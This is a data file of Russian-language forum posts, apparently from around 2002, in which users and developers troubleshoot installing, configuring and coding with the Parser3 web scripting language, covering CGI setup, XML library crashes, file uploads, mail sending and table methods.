"10243","После перекомпиляции библиотек и компиляции парсера с опцией --with-static-xml происходит ошибка \"Premature end of script headers\" при выполнении файл _test.html при том, что сайт отображается нормально. Каким образом я могу полностью проверить корректность работы парсера?"
"10244","Я установил Парсер на Windows, запустив сервер получил сообщение:\
«The requested URL /cgi-bin/parser3.exe/index.html was not found on this server.»\
Что делать?\
"
"10245","Я создал пустой error.log, поставил на него права чтения и записи для всех и положил рядом с parser3.cgi (под RedHat). Но ошибки упорно туда не пишутся, а к логам апача у меня нет доступа. В чем может быть проблема? Надо ли где-то прописывать парсеру путь к error.log?"
"10246","Или всеже сначала нужно закачать файл на сервак ^file:load, а потом узнавать инфу по нему?"
"10247","если вы xml библиотеки собрали из тех версий, о которых я писал, и другие xml куски (ваш сайт использует xml?) работают, то, очевидно, вы столкнулись с чем-то новым.\
\
если есть досуг, давайте разберёмся.\
1. \
core файл появляется?\
2.\
что в log'ах?"
"10248","скорее всего, вы не настроили нужный вам cgi-bin, как как каталог, в котором могут быть скрипты.\
\
признайтесь, вы его просто так создали и положили туда parser, ничего веб-серверу про этот каталог не сказав.\
\
если не очень сильны в настройке, используйте тот cgi-bin, который создала программа установки веб-сервера."
"10249","если вы дали «остальным», но не дали «группе», а процесс находится в группе, ему записать не дадут."
"10250","xml собран из версий и по методике, указанной в файле INSTALL.\
Работает сайт, написанный просто под Парсер, без использования xml.\
Файл core не появляется, в логах строчка \
Premature end of script headers: /xxx/cgi-bin/parser/bin/parser3.cgi\
Ошибка - 500 Internal Server Error"
"10251","скорее всего, библиотеки были собраны с ошибкой.\
test пытается создавать тривиальный xdoc, уверен, падает на этом.\
\
1. если вам не нужен xml, не стоит и время тратить на его сборку.\
2. если нужен, давайте резберемся.\
\
a) временно уберите из _test.html блок про xml, посмотрите, разваливается ли. [скорее всего, нет, и дело именно в xml части]\
\
b) тогда, если можете, запустите в консоли [на оригинальный test с проверкой xml]\
[code]\
/path/to/parser /path/to/_test.html\
[/code]\
что скажет?\
\
если какую-нибудь пакость вроде Segmentation fault и появится core, значит что-то совсем плохо = или вы что-то не так сделали, когда patch'или [вероятно, не всё пропатчили], или какая-то новая ошибка.\
\
[дальше пойдём, когда проделаете это]"
"10252","Права для группы тоже есть: 666."
"10253","Люди, мне бы пригодился следующая возможность. Например я храню данные программного кода в базе данных и хочу, что-бы этот код выполнился. На PHP вроде бы такая история не проходит, реально ли реализовать такое на П3?"
"10255","parser делает попытку писать в .log рядом с основным auto.p\
\
вы его SetEnv'ом не переназначали?"
"10256","как обычно, сделать можно [RTFM по оператору process].\
но не нужно, поскольку \
\
1. разобраться потом смогут очень немногие (count=0).\
2. подумайте о кэшировании: оно может стать невозможным.\
3. если не думали о кэшировании, подумайте."
"10257","Проблема заключается в следующем: у меня сайт на институтском сервере с адресом .../~username. DOCUMENT_ROOT установлен на /var/www/html, что мне чрезвычайно неудобно.\
Во-первых, приходится делать длиннющую переменную $root, которую приписывать ко всем путям внутри парсерского кода, но это еще можно было бы вытерпеть. А во-вторых, все ссылки в шаблоне (в auto.p) уже нельзя записывать просто /somepath, а приходится хитро анализировать каталог запроса с тем, чтобы выводить нужное количество /../ в относительном пути. Это уже очень неудобно.\
\
Есть какие-нибудь способы с этим бороться? Можно ли вообще (простите за серость) установить персональный DOCUMENT_ROOT в случае сайта с ~username?"
"10259","auto.p лежит рядом с parser3.cgi в каталоге public_html/cgi-bin/parser/ Там же лежит и созданный мной error.log."
"10260","При обработке кода Парсер выдаёт такое:\
\"y:/home/test2.ru/www/auto.p(7): 'uri' column not found  type: parser.runtime\"\
\
В чём проблема?\
\
Соделжимое файла auto.p:\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
<tr>\
^sections.menu{\
                <td align=\"middle\">\
                <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
                </td>\
                }\
</tr>\
</table>\
"
"10262","Под Виндой работает нормально. Берёт имя файла без разширения.\
Кидаю на сервер под FreeBSD и выдаёт такое вот сообщение. Чего делать надо, чтоб правильно было ?  Спасибо."
"10263","Нужно короче, чтобы можно было через web интерфейс администрировать выполняемый код, а с файлами такое проделывать мне что-то не хочется.\
\
Поетому я решил использовать базу, но ведь кеширование можно же прописать в сомом коде хранящемся в базе, или нельзя?"
"10264","загрузил, отдал в textarea, при посте - сохранил...\
чем плохо?"
"10265","...если для того, чтобы определить что брать из кеша тебе нужно будет подключаться к базе, доставать из нее данные, компилить по ходу выпполнения полученый код и лишь потом на основании каких-то полученых условий брать данные из кеша?\
\
кроме того, как показывает практика, значительно удобнее править код НЕ в веб интерфейсе..."
"10267","что эти скрипты могут динамически изменяться в зависимости от работы других скриптов.\
\
Я что буду все это на файлах делать.\
\
У меня к этому душа не лежит. А с СУБД MySQL я уже на ты:)"
"10268","Так вроде и стоит 4.6.2 стоит.\
непонимает такое выражение:\
^file:justname[$request:uri]"
"10269","как же тогда ламернутому заказчику администрировать свой сайт?, а он этого настойчиго хотел.\
\
P.S. Блин. Писал тебе сегодня просил совета по железу, а ты так и не ответил:("
"10270","Содержимое файла sections.cfg:\
section_id      name  uri\
1       Главна  /\
2       Новости /news/\
3       Контакты        /contacts/\
4       Цены    /price/\
5       Ваше мнение     /gbook/\
"
"10271","метод justname появился в парсере начиная с версии 0005 (кажется)"
"10272","Возможно перед вызовом где-то определить класс или что-то прописать надо. Но в учебнике ничего про это не сказано."
"10273","Если да, то он будет счастлив править его в текстовом редакторе открыв файл по FTP.\
\
Если нет, и он хочет управлять видом/содержимым сайта - то по моему не надо держать код в базе... Данные вещи решаются иначе...\
\
P.S. я это письмо за спам посчитал... кинь его еще раз..."
"10274","А) При удалении из файла _test.html блока про xml ошибка пропадает, и результаты выводятся корректно.\
\
Б)Вывод команды parser3.cgi _test.html (core-файл не появляется):\
\
<html>\
<head><title>Unhandled Exception</title></head>\
<body>\
<H1>Unhandled Exception</H1>\
\
\
<p>The server encountered an unhandled exception\
and was unable to complete your request.</p>\
<p>Please contact the server administrator,\
and inform them of the time the error occurred,\
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
\
"
"10276","Этому заказчику я делал админство, но он там только HTML правит, но на будущее надо знать как сделать так, что-бы можно было код скрипта править. Прошу не надо спрашивать зачем:) Я пока сам не знаю, но фишка мне нравится и хотелось бы научиться такую байду проворачивать.\
\
А письмо я щас попробую кинуть."
"10278","что все можно сделать проще ;-)\
Динамические скрипты... Э-эх... Что-то здесь не так...\
Пример такой динамики в студию"
"10279","В auto.p поменяй ^unhandled_exception_release на ^unhandled_exception_debug и повтори последнее действие."
"10280","но все же разьве не для лишнего гемороя придумали туже xml технологию. Я вот лично без нее пока все делаю. Альтернативы полно. А что касается усложнения, то я вовсе не пытался тайти самый запутанный путь, я всего лишь хотел понять лишь одно: http://parser.ru/forum/?id=10253"
"10281","<html>\
<head><title>Unhandled Exception (Debug)</title></head>\
<body>\
<H1>Unhandled Exception (Debug)</H1>\
\
\
<pre>parser already configured</pre>\
\
<b>conf</b><br>\
<pre>/xxx/parser/bin/auto.p(3)</pre>\
\
exception.type=parser.runtime\
\
\
\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
"
"10282","Только сначала повторю: http://www.parser.ru/forum/?id=10256 (не мое, но я солидарен на 100%)\
\
Теперь о последней фразе: очень хочется увидеть пример скриптов, которые \"могут динамически изменяться в зависимости от работы других скриптов\".\
Мне совсем непонятно, зачем меняется САМ КОД? Простых операторов ветвления уже недостаточно? Или пишется полиморфик?"
"10284","Но для динамики весьма сложных конструкций и упрощения того же ветвления.\
\
Как пример можно взять скажем динамически администрируемый чат.\
\
Скажем авторизованному админу не нужно мучиться с ftp, а прямо в том же окне изменить код той или иной программы."
"10285","должен работать следующий код:\
[code]\
 <input type=file name=\"upload\">\
 ...\
\
 ^if(def $form:upload){\
   ^if($form:upload.size < 1000){\
     ^form:upload.save[binary;/path/to/upload/$form:upload.name]\
   }\
 \
 }\
[/code]"
"10286","Неясненько почему под Win32 работает нормально, а под BSD не хочет.\
Может у меня в тексте чего-то не то?"
"10287","Парсер создает объект file ... т.е. закачивает его в память, соответственно размер становится известным после закачки [в память]."
"10288","publishin/auto.p(35): 'justname' (void) not a method or junction, can not call it type: parser.runtime, \
\
означает, что ты тыпаешься вызвать метод 'justname' у переменной, которая не определена (void), соответственно ругань...\
\
надо разбираться тебе, что не срабатывает до этого момента и почему переменная не определена."
"10289","как просмотреть все переменные зарегестрированные в текущей сессии?"
"10290","Пример использования… \
^file:justname[/a/some.tar.gz] \
\
…выдаст… \
some.tar \
\
---------\
Я прописываю:\
^file:justname[$request:uri]\
Непонятно другое: почему под Win прокатывает, а под Free не хочет??\
Возможно надо мне повнимательнее почитать доку??\
\
"
"10291","Да.\
Ведь ничего что я это сделал в блокноте?"
"10292","перед запуском перейдите в каталог веб-пространства.\
запускайте, когда текущий каталог -- там, а не в cgi-bin."
"10293","Как мне его настроить,\
если можно, то по-подробнее.\
Спасибо."
"10294","Дурной вопрос. Чувствую, что дело в какой-то мелочи, но...\
[code]\
^mail:send[ \
 $.from[<zagrebelin@usi.ru>] \
 $.to[sobachkina <zagrebelin@usi.ru>] \
 $.subject[как дела] \
 $.text[Как у тебя дела? У меня - изумительно!] \
] \
В \
[/code]\
\
Вот такое псимьо приходит:\
[code]\
Received: from ZAGREBELIN ([10.2.20.30]) by exchange.mtts.perm.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)\
 id XS3HLY7L; Wed, 4 Dec 2002 19:14:34 +0500\
subject:=?windows-1251?Q?=EA=E0=EA =E4=E5=EB=E0?=\
from:<zagrebelin@usi.ru>\
to:<zagrebelin@usi.ru>\
errors-to: postmaster\
content-type: text/plain; charset=windows-1251\
\
Как у тебя дела? У меня - изумительно!\
[/code]\
у бата сносит крышу и он всё, что есть пишет в поле \"subj\":\
[code]\
как делаfrom:<zagrebelin@usi.ru>to:sobachkina <zagrebelin@usi.ru>errors-to: postmastercontent-type: text/plain; charset=windows-1251Как у тебя дела? У меня - изумительно!\
[/code]\
Вот так выглядит сабж. Однако письма, приходящие с этого форума, пишутся нормально! \
\
Почему? "
"10295","в файлах: самое оно.\
parser автоматически блокирует запись/чтение, так что не бойтесь, что пользователь придёт и произойдёт загрузка файла посередине save. если придёт, он дождётся окончания записи, и только затем считает."
"10296","поищите текст justname в файле parser3.cgi, увидите, что его нет.\
обратитесь к адресу http://ваш.сайт/cgi-bin/parser3.cgi\
увидите 3.0.0001"
"10297","если очень надо прямо сейчас, покопайтесь в\
[code]\
$env:HTTP_COOKIE\
[/code]"
"10299","сделайте save письма, zip его, и пришлите мне получившийся архив почтой. посмотрим :)"
"10300","Видимо, Дмитрию имеет смысл посмотреть в сторону Lotus Notes, или как там оно сейчас назвается... :)\
\
Там как раз все скрипты лежат в базе и даже реплицируются таким образом.\
\
Но Парсер и вебные приложения-то тут при чём?\
Хотя, подозреваю, что изголиться всё же можно.\
Хотя, принцип KISS, кажется, никто не отменял."
"10301","Вот интересно, кому-нибудь приходилось писать регулярные выражения для вычищения из текста матерных слов? :) Нет, серьезно, наверняка, кто-то этим занимался: это нужно для всяких гостевых книг и форумов.\
У меня есть свой набор выражений (на шесть основных корней + исключения), который работает уже давно и сравнительно неплохо, но было бы интересно сравнить достижения в этой области и объединить усилия."
"10303","А что в парсере можно получить только строку запроса? а как быть с параметрами? вручную выделять из строки? неужели это нельзя было сделать :("
"10304","$request:query выделяет не параметры, а строку запроса\
Если вы хотите получить результат запроса, то это делается $form:имя_перменной_запроса"
"10305","Тоже пользую The Bat но такого не замечал... Письма приходят норамальные..."
"10306","Когда-то давно интересовался этим вопросом для чата, поискал в Yandex и нашел массу ссылок по этой теме, с примерами таблиц сопоставления... Кстати сказать в таблице прочитал массу слов которых и не знал...\
А вообще очень трудно вычищать мат, т.к. его все равно будут писать к примеру так П_О.П_А (извиняюсь). Тут нужен анализатор, который будет из неразрывного слова выделять только буквы, а потом сопоставлять... Но вот как быть с такими вариантами П_О П_А, ума неприложу.\
Да, и еще, существует масса слов к примеру ЗАКОЛЕБАЛ, которые тоже определятся как мат, тут еще нужно и таблицу с правильными словами держать... Иначе будете получать что-то подобное заколХХХХ"
"10307","1. в доке в самое начало\
2. http://parser.ru/examples/\
\
;("
"10308","А если я передаю параметры в строке, например:\
[code]http://www.parser.ru/forum/?id=10304&year=2002[/code]\
как мне получить значение id и year ? \
$request:query выдаст \"?id=10304&year=2002\", который надо еще и обрабатывать.\
"
"10312","Патчи перед компиляцией были наложены все, и все были успешно применены. Проблемы глубже? Существует ли методика проверки библиотек отдельно от парсера?"
"10313","всякое бывает.\
очевидно, на вашей платформе что-то в этих библиотеках не работает.\
\
если есть возможность, скажите\
[code]\
gdb parser3.cgi core\
[/code]\
и на приглашение ответьте\
[code]\
bt\
[/code]\
\
и copy/paste мне в мыло, что увидите. посмотрю/посоветую"
"10314","После здравого расссмотрения пермиссий и повторения команды /xxx/cgi-bin/parser/bin/parser3.cgi _test.html из корня веб-каталога выдаёт просто \"Segmentation fault\" без \"core dumped\". Соответственно команда gdb parser3.cgi core выдаёт  \"No such file or directory\"."
"10315","Сделал сайт на Хохе, ВСЕ РАБОТАЛО (!), потом с Хохой что-то случилось и сайт не работал вовсе. А когда работа восстановилась, при заходе на сайт пишется вот что:\
-----------------\
read failed: No such file or directory (2), actual filename '/usr/local/apachef/htdocs/classes/ltable.p'\
/usr/local/apachef/htdocs/classes/ltable.p\
\
/www/starostin.hoha.ru/html/auto.p(2)\
exception.type=file.missing \
-----------------\
\
auto.p выглядит так:\
---------\
@USE\
/classes/ltable.p\
\
@main[]\
....... и т.д. ...........\
---------\
И раньше так нормально работало! \
\
ВОПРОС:\
Что можно сделать, чтобы сайт заработал снова?\
\
С уважением, Василий Старостин."
"10316","[можно уйти в почту]\
\
[code]\
cd /xxx/htdocs\
gdb ../cgi-bin/parser3.cgi\
set args _test.html\
r\
bt\
[/code]"
"10317","Регулярные выражения на то и регулярные выражения, чтобы все варианты учитывать. И с латиницей, и с буквами типа ><. А слова-исключения, вроде \"заколебал\", приходится держать отдельным списком."
"10318","Текст вывода команды отослан на Ваш почтовый ящик."
"10319","очевидно, теперь переменная окружения DOCUMENT_ROOT, задаваемая веб-сервером, равна /usr/local/apachef/htdocs вместо /www/starostin.hoha.ru/html.\
\
тут уже были баталии на эту тему.\
кажется, кто-то говорил, что нельзя переставить эту переменную, используя SetEnv [http://httpd.apache.org/docs/mod/mod_env.html], но вы проверьте, и расскажите."
"10321","Поищи subj в сети - это О-о-о-о-громный такой регексп.\
\
Пишу \"поищи\" потому что сайт tcen.ru (там страничка автора) у меня не открывается, а в архивах не нашел - только если дома где валяется."
"10322","empty string(1): '' read failed: No such file or directory (2), actual filename ''  type: file.missing\
- получил такой вот ответ.\
Возможно я не правильно Парсер настроил. Может где есть расшифровка ошибок, которые выдаются."
"10324","это небольшая странность. должна была показаться версия.\
я до конца не понял, в чём дело, улучшил. в следующей версии вернёмся к этому вопросу."
"10325","вижу, вы пытались написать, что нашли в бинарнике justname.\
большими буквам вы пытались выделить.\
\
мой диагноз: в вызове метода вы нечаянно написали одну из букв русскую."
"10326","Возможно необходимо сначала конструктором создать объект класса file, а затем для него вызывать метод ??  Но в документации (в примере) на прямую:\
#имя файла \
^file:dirname[/a/some.tar.gz] \
#имя каталога… \
^file:dirname[/a/b/] \
\
Или же Вы считаете, что это ошибка в самом parser3.cgi и мне нет смысла ломать голову. Я просто хотел для каждого файла *.html вызывать свой *.cfg. Думал реализовать это таким образом:\
$sections[^table::load[^file:justname[$request:uri].cfg]]\
Однако к сожалению прийдется перебирать свичём :((.\
Так ли это??\
"
"10327","Вызывать надо именно через ^file:\
А чем не нравится вариант, предложенный в вопросе? Он что, не работает?"
"10328","А использовать вариант, когда в директории только один .html, да и тот index.html?\
Тогда достаточно будет в каждую директорию положить свой конфиг, а вызывать однотипно:\
^table::load[./sections.cfg]"
"10329","Не работает у меня под FreeBSD 4.6.2 . \
http://kapralov.lt.kiev.ua/publishin/  - если перейти в пункт Для взрослых и т.д.\
$sections[^table::load[^file:justname[$request:uri].cfg]]\
таким образом я хочу подгрузить *.cfg для каждого файла *.html\
Под Win2000 - у меня на машине работает нормально. Кидаю на сервер - глючит.\
Вопрос - или чего-то у меня не впорядке (код, Парсер неправильно настроил) или это глюк Парсера ?? Спасибо.\
"
"10330","Мне кажется:\
1. тогда бы не работало под Виндой\
2. пробовал вызывать другой метод - dirname  - аналогично, у меня на машине работает, на сервере нет."
"10331","вы в каком бинарнике искали слова, в том, который на freebsd лежит? или перепутали, и искали в виндовом?\
\
поищите «3.0.».\
\
я просто не знаю, что ещё думать. если окажется, что вы дурите всем голову, будете закиданы помидорами"
"10332","Закачал parser3.cgi - тот который лежит в разделе скачать.\
Теперь ругается сервер:\
You don't have permission to access /cgi-bin/parser3.cgi/index.html on this server\
\
Забыл чего подправить надо.\
chmod 755 parser3.cgi - сделал.\
Help пожалуйста. Неужели опять надо httpd.conf править?\
"
"10333","Если да, я в блокноте тоже как то поправил таблицу и получил эту ошибку. Это блокнот бесится."
"10334","забавно, что уже с неделю я добавил игнорирование заголовка utf-8.\
к слову сказать, в данном случае это не важно. и проблема в чём-то другом.\
\
"
"10336","Luzhnikovsky, а как его, этот регексп, использовать в парсере? Я над этим думал, но, видать, плохо... ))"
"10339","Начал переставлять на 0005.\
Прописал. А оно мне естественно:user-request(1): '/var/www/kapralov.lt.kiev.ua/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/var/www/kapralov.lt.kiev.ua/index.html'  type: parser.runtime\
Где-бы почитать как с этим бороться, или может кто подскажет?\
\
"
"10341","не забуль заключить его в [ code ] [/ code ] (см. [url=\"/forum/info.html\"]команды форматирования[/url])"
"10342","Прописал всё как в разделе скачать. Оно мне в ответ:\
user-request(1): '/var/www/kapralov.lt.kiev.ua/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/var/www/kapralov.lt.kiev.ua/index.html'  type: parser.runtime\
Знаю что не первый. Может где-то подробно обсуждались эти проблемы или кто-то кинет откомпилированный файл с отключенным --disable-foreign-group-files configure option\
\
"
"10345","а что, нет метода, которая возвращает последнее вхождение символа (подстроки)..? это ж фигово..."
"10346","Чей-то не могу настроить... написал такой код:\
\
[code]\
RewriteRule ^\\/(en|ru)\\/authors/([a-zA-Z])/$ /$1/auth_src.html?auth=$2\
[/code]\
\
не проходит... :)\
\
что здесь не так?\
всю доку перерыл -- врубиться не могу\
"
"10348","Отмазка: если парсер уже поддерживает нижеописанную технологию, или задача имеет очевидное элементарное решение, то считайте меня тормозом и отошлите меня RTFM.\
\
Суть: хочу, чтобы парсер можно было натравить на несуществующий .html\
Где-нибудь в парсеровском конфиге надо завести опцию \"Не сразу ругаться 404-ой ошибкой при отсутствии документа\". Далее, при такой установленной опции auto[] из auto.p должен выполняться всегда. Там можно проверить какой-нибудь флаг типа \"$requestedDocumentExist\" или, что лучше, \"-f[$requestedDocument]\". После чего можно установить флаг, чтобы парсер не трудился отдавать 404 ошибку клиенту, и самостоятельно сделать нужную страничку.\
Ммм... Только вот кажется мне, что тут лечением парсера не обойтись, это ж апач ругается, что нету документа. Раз нету документа, то нету .html, значит, апач не станет даже вызывать парсер... Решение?\
"
"10350","   У меня опять вопросы:\
\
   1. Почему бинарник (хотел написать \"exe-шник\" :) получается больше\
      2 мегов, хотя тот, что лежит на сайте parser.ru весит 500 кил ???\
      Где там отключить компиляцию дебужной инфы ? :)\
\
   2. Что за фича реализована в ifdef WITH_MAILRECEIVE ?\
      Мне пришлось её \"скипнуть\", потому как компилер не смог найти\
      файл gmime.h. Если эта фича - приём почты по POP3/IMAP, то оно не\
      нужно, а если отсылка по SMTP, то придётся перекомпилить...\
\
   3. Также вкратце хотелось бы узнать, что мне грозит, ежели я\
      закомментировал кусок из src/types/pa_vstatus.C, в котором\
      rusage было...\
\
   4. Всё ещё выдаётся ошибка parser already configured. Причём я\
      удалил ВСЕ файлы auto.p в своей папке (типа /home/sites/site87/)\
      за исключением того, что лежит рядом с парсером в cgi-bin.\
      Какой там вообще алгоритм поиска этого файла???\
\
      Если вообще удалить все auto.p, то вместо \"отпарсенного\"\
      index.htm апач вообще выдаёт начало бинарника, т.е. ??ELF??? :-\\\
      \
      Кстати, я не делал make install, ограничился make, потом достал\
      бинарник из src/targets/cgi. Просто мне шелл дали \"неофициально\"\
      и просили необдуманных действий не совершать :)\
      \
   Пожалуйста, не ограничивайтесь общими фразами в ответе, мне очень\
   нужно разобраться в этом всём, я уже достаточно разобрался с\
   технологией \"парсеростроения\", штука рулезнейшая!!! :)\
   Не хочу теперь какой-то там PHP изучать (кстати, на сайте php.ru\
   написано \"powered by parser\", я офигел :)\
"
"10352","1. поищите по форуму слово strip\
\
2. эта фича новая, недокументированная. пока не выйдет, ничего не расскажу, кроме как отошлю к краткому описанию в operators.txt [в исходниках], и к самим исходникам\
[шутка дня: в описании какого-то ключика какой-то программы, запущенно по --help выдался текст: «Use the SOURCE, Luke»]\
\
3. отсутствием $status:rusage. что это? ищите эти слова по форуму.\
\
4. я уже писал про это [поиск по форуму рулит], возможно, вы всё-таки не всё удалили, или запускаете с командной строки, с pwd=cgi-bin. \
\
про ELF тоже многократно спрашивалось и отвечалось. поищите в форуме.\
\
про make: у configure есть ключик --prefix, это «куда поставить», можно было и не скромничать. впрочем, как именно бинарник и настройки попадут в нужный каталог: несущественные детали."
"10353","Надо сделать файло 404.html и сказать апачу, чтобы отдавал вместо отсутствующего документа. Только будет ли апач на этот файлик науськивать парсер?\
Вот ведь как бывает, мучаюсь, думаю целый день, а стоит только спросить совета, так сразу нахожу решение.\
Миша, спасибо за оперативность (-:"
"10354","а затем...исключая удобные функции из языка он не делается проще, а сложнее...тогда уберите и strpos, ведь есть match..."
"10355","скажем есть переменная $a[1.2.3], тогда можно ли объявить переменную $b$a ? т.е. не возникнет ли проблем с точками?\
\
или так ещё: тоже есть $a, $b , если надо вывести \"$a.$b\", не возникнет ли проблем с точкой этой...\
"
"10357","Выполнив все описанные в этом уроке действия у меня возник один небольшой недочет.\
Заходя на страницу \"Гостевая книга\", у меня в браузере автоматически сменяется кодировка с кириллицы, на турецкую. Стоит мне перейти в другой раздел, который не содиржит методов полльзовательского класса, как кодировка обратно возвращается на кириллицу.\
Как это исправить?"
"10358","^mail:send[\
  $.content-type[text-html^; charsert=\"windows-1251\"]\
  $.subject[Ваш пароль]\
  $.text[\
    <html>\
       <body>\
         Ваш логин: <b>$current_user.name</b><br />\
         Ваш пароль: <b>$current_user.pass</b><br />\
       </body>\
    </html>\
  ]\
]\
Во эта вот вещь у меня не работает, хотя выглядит логично.\
(Выводится в виде текста со всеми тегами)"
"10359","Как сделать, чтоб после загрузки файла методом\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"ImageSmall\">\
<input type=\"submit\" value=\"Загрузить\">\
</form>\
^if(def $form:ImageSmall){ \
    ^form:ImageSmall.save[binary;/images/small/image.jpg] \
}\
[/code]\
происходила загрузка другой страницы"
"10360","В $content-type нужно заменить text-html на text/html."
"10361","Как оправить письмо в виде html с использованием переменных.\
Пишу:\
$.body[\
  <html>\
  <body>\
  Подтвреждение заказа $k<br> \
  <form action=index.phtml>\
  <input type=hidden name=id_visitor value=$k>\
  <input type=button value=Подтвердить>\
  </form>\
  </body>\
  </html>\
]\
Не работает - выводит в письме просто в виде текста.\
В $.text - то же самое.\
В $.html{} - значение переменных почему-то не учитываются.\
Что делать?\
\
"
"10364","СПАСИБО !!!!! Все работает."
"10365","Если можно подробнее...\
Я нажимаю кнопку ЗАГРУЗИТЬ. Файл загружается и я оказываюсь на той же странице с формой загрузки. Куда надо поместить предложеный код, что бы попасть на другую страницу именно после загрузки файла"
"10366","а что она «удобная», это вам так кажется. примера необходимости вы не приводите.\
\
если бы была действительно нужна, т.е. были бы задачи, за всё время существования parser об этом было бы давно известно.\
\
добавлять, лишь бы добавить: плодить мусор."
"10367","и в вашем MSIE стоит [x] Auto-select кодировки.\
\
соответственно, у вас не выдалась кодировка ответа — бедный MSIE пытается «автоопределять» кодировку, гадая на буквах. иногда у него получается «cyrillic (windows)» (часто), иногда нет (частенько, получается «турецкая»)."
"10368","[code]\
^if(def $form:ImageSmall){ \
   ^form:ImageSmall.save[binary;/images/small/image.jpg] \
   $response:refresh[\
     $.value[0]\
     $.url[/куда/тебе/надо]\
   ] \
}\
[/code]"
"10369","много задач можно решить с помощью strrpos. эта функция не зря присутствует во многих языках. примеры незачем приводить. эти же задачи можно по-другому решить с помощью match. но если у вас нету strrpos, почему тогда есть strpos. не логично."
"10371","А примерчик все-таки привели бы ..."
"10372","Что еще можно сделать, чтобы запустить Парсер на Хохе?"
"10373","Напишите, пожалуйста, как мне сделать так чтобы при вставке меню оно делилось на две сроки (с равным кол-вом ячеек)."
"10374","Если .html нет, ругается не апач, а парсер. Если ругается апач - значит не установлен парсер.\
Ссылаюсь на описание Apache handlers.\
\
А вот если нет директории и обращение идет именно к ней - до парсера управление не дойдет. Тогда спасет mod_rewrite и/или ErrorDocument."
"10375","... но это только идея. Можно её развить и делать не две строки, а сколько нужно. Наверное нужно будет как-нибудь написать класс (осталось только время найти :)), который бы делал всякие \"табличные\" меню, а то их многим часто приходится делать - и все повторяют одно и тоже (я в том числе).\
Пример такой:\
[code]\
#Выводит меню из файла /menutop.cfg, в котором должно быть поле id.\
@menuTop[countPunkt]\
$sections[^table::load[/menutop.cfg]]\
$firstline[^sections.select($sections.id<=$countPunkt)]\
$secondline[^sections.select($sections.id>$countPunkt)]\
\
\
<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\" bgcolor=#000000><tr><td>\
<table width=\"100%\" cellpadding=\"0\" cellspacing=\"1\" border=\"0\">\
   <tr height=18>\
   ^firstline.menu{\
      ^menu_cell[$tableName[$firstline]]\
   }\
   </tr>\
\
   <tr height=18>\
   ^secondline.menu{\
      ^menu_cell[$tableName[$secondline]]\
   }\
   </tr>\
</table>\
</td></tr></table>\
\
#Выводит ячейку меню\
@menu_cell[$tableName]\
[/code]"
"10376","возможно, в будущих версиях я и сделаю возможность изнутри parser подменить кривой DOCUMENT_ROOT, который ставит тупо-настроенный apache.\
\
сейчас: поставьте в $CLASS_PATH путь вида /../../../classes [или где-вы-там-их-храните], и грузите классы без указания пути.\
\
и при загрузке файлов, все пути задавайте с соответствующим префиксом (вынесите его в переменную)."
"10377","можно написать скрипт-обертку, что-то вроде (файл parser3.sh)\
[code]\
#!/bin/sh\
DOCUMENT_ROOT=/www/starostin.hoha.ru/html/\
./parser3.cgi\
exit 0\
[/code]\
и прописать его как обработчик html-файлов\
Action parsed-html /cgi-bin/parser3.sh"
"10378","не понятно, чего в результате такого кода\
\
$t[$items$pid.document_id]\
^t.match[\\.?([0-9]+)^$]\
\
ошибка такая получается:\
\
contains illegal assignment attempt of table to docadmin method_frame, use constructor\
match\
"
"10379","...это означает, что результат будет \"таблица\", в которой запомнятся все совпадения.\
\
далее, ты это... выводишь в страницу... поэтому и ругань.\
делай так:\
$tbl[^t.match[\\.?([0-9]+)^$]]\
и результаты будут в этой таблице."
"10380","thanx. я это уже догнал. теперь у меня ещё одна фигня. \
есть такое\
\
^connect[...]{$items[^table::sql{select document_id from documents order by document_id}]}\
^items.menu{\
.....\
$items.document_id\
}\
$t[$items.document_id]\
$t\
\
выводит 1\
а реально максимальный document_id == 1000\
почеум 1 выводит а не 1000 ?\
\
"
"10381","menu не сдвигает текущий указатель на строку в таблице [он просто перебирает с первой по последнюю].\
\
Чтобы попасть на последнюю строку можно сделать так:\
[code]\
$tab[^table:sql{...}]\
^tab.offset(-1)\
...\
[/code]"
"10382","..РАЗРАБОТКИ И СОПРОВОЖДЕНИЯ ОБРАЗОВАТЕЛЬНЫХ САЙТОВ \
http://ito.edu.ru/2002/III/1/III-1-370.html"
"10383","Итак, парсер наконец-то заработал на мастаке!\
Выражаю огромную благодарность за поддержку Уважаемому Автору парсера и суппорту Мастака в лице Woody. Спасибо вам! Сорри за мою, возможно, излишнюю настойчивость :)\
\
Итак, бинарник собирается без кода 'rusage'... Ну, про это уже писали в форуме неоднократно :)\
Если кому нужен сам бинарник, обращайтесь :)\
\
.htaccess в корне \"веб-пространства\":\
AddHandler parsed3-html .htm .html\
